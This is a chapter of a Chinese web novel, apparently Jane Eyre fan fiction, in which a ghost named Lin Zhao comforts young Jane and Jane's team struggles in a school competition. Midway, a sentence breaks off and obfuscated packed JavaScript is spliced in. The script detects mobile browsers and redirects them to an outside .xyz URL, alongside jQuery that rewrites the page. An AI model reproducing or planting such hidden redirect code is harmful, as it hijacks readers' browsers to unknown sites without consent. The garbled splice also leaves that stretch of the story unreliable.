“她们都睡着了。”
感受到握着自己那双手的颤抖,林昭心疼极了,她确认过隔壁两个孩子的入睡情况,朝简轻声开口。
简没说话,抿着嘴,只是用另一只手拉开被子,朝床上空出来的位置拍了拍。
林昭躺上去,眼前是熟悉的天花板,往侧看,是洒进月色的窗。与往常一致的景色,可现在醒着的一人一灵,谁都没有入睡的安稳心情。
她躺上去之后,简依旧沉默不语,只是继续握着她的手。
于是林昭试图说些什么缓解简的压力。
“…比阿特丽斯和乔治安娜,在宴会厅又谈起了盖茨海德的事。乔治安娜和约翰说的话差不了多少,但比阿特丽斯发现了她在撒谎。”
“她指出乔治安娜的话有问题,然后乔治安娜的找补被约翰·里德的动静打断了交谈。”
林昭尽量把语气放缓,希望简好受些,
“……她突然发难,可能是这些日子我留下的痕迹太多了,之后我们保持点距离,或许就……”
“不,林,和你没关系,我看得出来她是在针对我。”简打断了林昭的话,闷声回答,“我本该直接否认的,可看着埃莉诺,我什么都说不出来了……”
“她刚刚差点因为我和约翰吵起来,我还在担心他后面会找她麻烦……”
简眼里漫上水光,出口的话说得稀碎。
“别再说和你保持距离的话了。如果连你我都不能交谈,我不就又回到一个人的日子了吗?”
说到这,她顿了顿,再也压抑不住地淌下眼泪。
“我真的想不明白,他们到底为什么这么针对我——哪怕我离开盖茨海德,也要被指指点点——难道真要和伊丽莎说的那样,偿还足够的金钱才能叫她们满意吗?可我不愿,也不想去叫这些讨厌我、我也讨厌的人从我这讨到好处去!”
“我本来希望堂堂正正获得成绩,去证明我和在盖茨海德已经不一样了。可假如哪怕拿到第一,他们看待我的方式也依旧不会改变,到时我该怎么办呢?”
“关于我如何出生卑贱,没人疼爱的话我已经听得够多了,到底怎么做,才能逃开这样的循环!”
“你说我需要爱自己爱世界——但世界上没有人爱我的话,这一切哪里还有意义?”
她努力压抑自己的声音,可说到情绪激昂处,也是禁不住破出一声颤音。
是啊,为什么事情不能稍微顺利些发展呢?明明简已经做的够好了。
林昭默默,把简的手握紧了。
她不知道这个世界到底有没有什么隐形规则,叫简哪怕逃开原来的发展,还是要经历避无可避的生长痛。
和她人的交往,与过去的抗争,对自我的质问……时间地点人物都改变了,可成长的课题还是追到这里。
简还是在十一岁那年的春天为朋友流了泪。
面对迷雾般的未来,林昭也不得不自问:她所笃定的带简走向的幸福,真的会实现吗?
种种一切都像有人在嘲讽她的心愿太一厢情愿——“只是读过几次书,就想改变简的命运,背负简的未来,未免太可笑了。”
……她的存在真的没意义吗?
这个问题使她心惊,恍惚之下,她不由伸出手,指尖擦拭过简的眼底。
湿漉漉的,属于简泪水的温度,无比真实的触感。简被碰得一顿,然后极其信赖地,主动把脸歪过,泪水像河一样淌入她的掌心。
…对,她唯独不该怀疑意义这一点。
她不再是只能在书外阅读简眼泪的读者,她们彼此相伴的此刻,已经是意义本身。
因她而来的变数,有一自然有二三四。
“不,简。”
林昭突然开口,叫简下意识仰头去看她。
“就和我一开始说过那样,这都不是你的错。”
就像一开始说的那样,简要变得幸福。
林昭深吸一口气,动作仔细,又无比轻柔的,擦去简的眼泪。
“你应该比谁都清楚,他们只是坏得很彻底,不必再为他们浪费心思。就像今天刚开始那样无视掉他们就好,你也觉得那样不错吧?”
“可……莉娜和贝蒂都很不开心,”简的眼泪怎么也流不尽,她一想到朋友们的质疑,就心痛不已,“莉娜是因为我才和约翰·里德争吵。而贝蒂,贝蒂,我以为我们关系已经好上不少,可乔治安娜一出现,她又变得……”
“没关系的,深呼吸,简,”林昭很耐心地重复着动作,“这样证明你在意的是现在的朋友们。时间是平等的,我想,她们对你的想法是一样的出发点,只关乎惠尔伍德。”
“可我不能把你说出去……”
“确实不能,但这不是你们关系的矛盾点。再好的朋友也会有彼此的秘密。”指尖的湿润开始慢慢缓和,林昭语气放得更轻柔了,“我想,大家都因为比赛压力有些大了,在调整好心态前,会有些难熬。”
“还记得吗?我们计划表的第一条——不要逃避当下,时间会证明一切。”
“是的,不能逃避。比赛,”简呢喃出声,注意力被稍稍转移,“我准备了很久,林,你一直看着不是吗……”她的呼吸平稳下来。
“是呀,我看着呢。而且,你现在最不必怕的就是孤身一人。”林昭非常笃定地回答道。
“因为你会一直陪着我的……”简下意识接话,她意识到自己不再抗拒被幽灵相伴一生的未来。
“不只是这样,简,”林昭顿了顿,决定先把这件事说出来,给简鼓舞,“你有一个来自你父亲那边的叔叔,他一直在寻找你。除了他之外,你也还有其他兄弟姐妹。相信我,她们是和里德家截然不同的人。”
“……”简睁大了眼,震惊下,什么声音都发不出来。她湿漉漉的眼望着林昭,写着希望她多说些的恳求。
“暂时只有这么多消息…但我向你保证,与她们重逢的那一天一定会到来。在那之前,我们也继续往变得更好努力好吗?”
简认真点点头,不再说话了。
她把头靠在那温暖的,为她拭去所有眼泪,包容所有委屈的掌心,静静地闭上眼。
她想,她会努力的。
为不再会孤身一人的明日。
人的心思会随着时间改变,生活的交替却是永远的月升日落循环往复。无论同室异梦的女孩们多么不愿醒来,太阳还是升起了。
新一天的早晨沿袭了昨夜的沉默,她们依旧结伴前往教室,路上却没人说话。
林昭自然不可能在这种情况下和简交谈。虽然简说着不需要保持距离,她还是决定给女孩们点空间,自己去监视约翰·里德。
“简,有什么情况的话,等我回来记得告诉我。那么,一会见。”
林昭的告别对简来说,衬托得三人的无言更难熬了。简一度想开口缓和气氛,可她一扭头看着埃莉诺,比阿特丽斯就发出不满的声音。
她暂时不想再引发一场无果的争吵,所以只能配合地把头转回去。
小队就这样别别扭扭地待着,到第一项的团体赛“历史戏剧”开始也没有好转。
“历史戏剧”是同时考验表演技巧与历史学习的赛事。具体方式为每组抽选一份历史事件,然后以团体形式编撰一出戏剧。
在她们往常的练习里,简总是能很快分配好最适合每个人的身份,然后再由埃莉诺出色的台词水平和比阿特丽斯巧妙的表演配合,共同拿下最优成绩。
这次抽到的历史事件她们模拟练习过,台词熟悉,身份分配环节也不必,可以省下不少时间。
简下意识去看队友们,想要打趣一下这份幸运,可她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360966|183675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抬眼望去,埃莉诺心不在焉地低着头,比阿特丽斯则是戒备地盯着她俩。
还不到时候。她边分发准备资料,边压着心上冒起的气馁,像昨夜林昭开解她那样,努力挤出和缓语气:“……就按我们模拟比赛时的安排来,希望我们都发挥出最好水平。”
埃莉诺闻言,总算从沉思里抬起头,挤出一个短暂的笑,接过了她分发的资料。
“嗯…”
而比阿特丽斯,目光徘徊在她俩间,只从嘴边冷哼一声作为回应。
都说幸运与不幸如影随形。抽取到熟悉考题的幸运,反面是团队的比赛状态深受昨夜的摩擦影响。
简不得不承认,她的赛前祝福有点像诅咒了——别说发挥出最好水平,她们连正常水平都够不着边。
轮到她们上台时,场上是表情僵硬的演员、情绪低落台词平平的演员,以及始终挂着冷笑的演员。
可想而知,表演效果非常糟糕,只能说托有所练习过、台词还算流畅的福,她们最终拿到的是不差、却低于预期的分数。
“抱歉……”比赛结束,看着分数,简和埃莉诺同时开口。
她们目光一相触,简就想趁机一口气把昨晚事情说清楚——可埃莉诺只是飞快躲开她的注视——简只能与始终眼带警告的比阿特丽斯四目相对。
“再继续拿这种不上不下的分数,我们也拿不到第一。”比阿特丽斯这会倒是笑了,只不过眼里没有一点笑意,“琼,干脆你把搪塞的话一次性说了,然后我去退赛,我们早些面对失败的结局。”
“……不,我们会拿到第一的。”简呼出一口气,忍下了下意识的更多反驳。
“……”埃莉诺默默,欲言又止什么也没说。
接下来两天仍是这样古怪的氛围。她们勉强应付着比赛,分数逐渐在排名中落后,第三天结束时,名次堪堪停在第三位。
面对不理想的结果,三人都脸色不霁,只是依旧各有想法,无法沟通。
简感觉到空气里有什么在膨胀,等待着炸开的那一瞬间。可她什么都看不见,也依旧不知道何时才能等来“坦诚”的时刻。
虽然林昭一直在宽慰她,但她还是被比赛成果打击得有些丧气。
为数不多的好消息大概是,约翰·里德被林昭盯着,项目也基本上不和她们重合,暂时没有惹事的机会。
不然简真不知道自己会混乱到什么地步。
但,估计是听见她的心声,坏心思的上帝还是安排了一出虽迟但到的挑衅。
就在她们离开礼堂去寝室的路上,乔治安娜出现了。
天生漂亮,自带藐视众人的优越感,无比擅长戏剧表演的乔治安娜·里德,在第一天的项目拿下高分,暂居名次第一。
她一瞧见她们,便步态轻盈,提着裙摆走来。
“贝蒂,我真为你难过——”她款款走到比阿特丽斯身边,开口的语气甜腻而同情,“我知道的,这绝不是你的真实水平。想必是被某些人拖累了吧?”
“毕竟,没人管教的野丫头,大概是一辈子没法学会不给别人惹麻烦——就更别提做点有用的事情了。”
她的声音不算大,但让旁边的简和埃莉诺听见还是足够了。
简的拳头瞬间攥紧了,她对埃莉诺和比阿特丽斯言语踌躇,对里德家的人却不会。
正好这几天她憋的一肚子气,乔治安娜上赶着找骂的话她可不客气了。
简拦住了埃莉诺,然后压着眼怒视乔治安娜,刚要出声反驳。
意想不到的人却先她一步开了口。
“我没记错的话,她不是一直在你们家生活吗?”比阿特丽斯甚至没看乔治安娜,淡淡地整理着被拦下而有些乱的裙摆,语气平淡无波,“这算是你承认里德家的管教水平低下吗?”
“什么…?”